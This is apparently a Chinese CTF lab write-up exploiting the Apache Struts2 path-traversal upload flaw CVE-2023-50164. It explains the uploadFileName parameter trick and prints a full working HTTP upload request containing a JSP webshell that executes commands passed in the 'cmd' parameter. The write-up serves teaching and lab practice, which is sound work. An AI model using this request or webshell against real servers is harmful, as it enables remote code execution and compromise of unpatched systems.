春秋云境-Apache Struts2 目录遍历及文件上传漏洞(CVE-2023-50164)

靶机介绍:

攻击者可以操纵文件上传参数以启用路径遍历,在某些情况下,这可能导致上传恶意文件,从而执行远程代码。建议用户升级到Struts 2.5.33或Struts 6.3.0.2或更高版本以解决这个问题。

利用过程:

访问靶机就是一个文件上传

直接选择一个jsp 木马上传

木马上传成功,根据给出的路径一个一个访问,都提示404

根据CVE-2023-50164 的提示,使用burpsuite 抓包

需要将upload 改成Upload, 同时需要在请求路径上修改POST请求头后面的路径在/upload.action后面补充上?uploadFileName=../shell.jsp

?uploadFileName=../shell.jsp 中 uploadFileName 为请求头参数Content-Disposition: form-data; name="upload"; filename="1.jsp"中 name的值和filename参数的拼接 uploadFileName等于 upload 和filename的file 首字母大写name首字母大写,../shell.jsp是为了跳过forbidden的限制。

因此修改后数据包如下:

POST /upload.action?uploadFileName=../shell.jsp HTTP/1.1
Host: eci-2ze1d1nv4k3rw5hlt27s.cloudeci1.ichunqiu.com:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------19131293793059590683947910879
Content-Length: 558
Origin: http://eci-2ze1d1nv4k3rw5hlt27s.cloudeci1.ichunqiu.com:8080
Connection: close
Referer: http://eci-2ze1d1nv4k3rw5hlt27s.cloudeci1.ichunqiu.com:8080/upload.action
Cookie: JSESSIONID=1C569B20561987382855E1B84E233B2B
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------19131293793059590683947910879
Content-Disposition: form-data; name="Upload"; filename="1.jsp"
Content-Type: application/octet-stream

<%@ page import="java.io.*"%>
<%
 out.print("Hello</br>");
 String strcmd=request.getParameter("cmd");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
 while((line=br.readLine())!=null){
 out.print(line+"</br>");
 }
%>
-----------------------------19131293793059590683947910879--

 

所以木马的位置/usr/local/tomcat/uploads/../shell.jsp 就变成了/usr/local/tomcat/shell.jsp,完成了路径穿越,接下来拿flag 也很轻松了,只需要找出网站的根目录即可,最终找到网站根目录如下:

/usr/local/tomcat/webapps/ROOT/

因此,上传木马最后的数据包如下:

 

访问一句话木马

 

拿到flag

 

 

  • 8
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值